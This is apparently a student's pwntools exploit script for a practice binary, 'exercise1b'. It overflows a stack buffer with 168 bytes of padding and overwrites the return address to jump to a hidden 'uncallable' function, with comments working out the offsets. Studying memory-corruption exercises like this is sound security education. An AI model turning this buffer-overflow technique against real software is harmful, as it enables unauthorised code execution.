#!/usr/bin/env python
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template
from pwn import *

# Set up pwntools for the correct architecture
context.update(arch='amd64')
exe = './exercise1b'

# Many built-in settings can be controlled on the command-line and show up
# in "args".  For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR


def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe] + argv, *a, **kw)

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
b *main
'''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

r = start()
e = ELF("exercise1b")
ret = hex(e.symbols['uncallable'])	#get it without worrying about env variables
log.info(f"first data {ret}")
# You can now communicate with the process, e.g.,
# r.sendline("AAAAA")
# r.recvline()#raw_input()

if args.PAUSE:
    pause()

#buffer is at 144 holly molly
#176 bytes i believe in total for the esp + the rbp push of 8 byte
# ie 180 bytes in total to pad and then at the end insert address of uncallable
i= r.recvuntil("password:\n")
uncallable_addr = 0x4011b6

#make use of the symbols that i can extract data with
log.info(f"first data {i}")

r.sendline("A"*168 + "\xb6\x11\x40\x00\x00\x00\x00\x00") #64 bit arch need 64 bit addr
j = r.recvall()
log.info(f"final data {j}")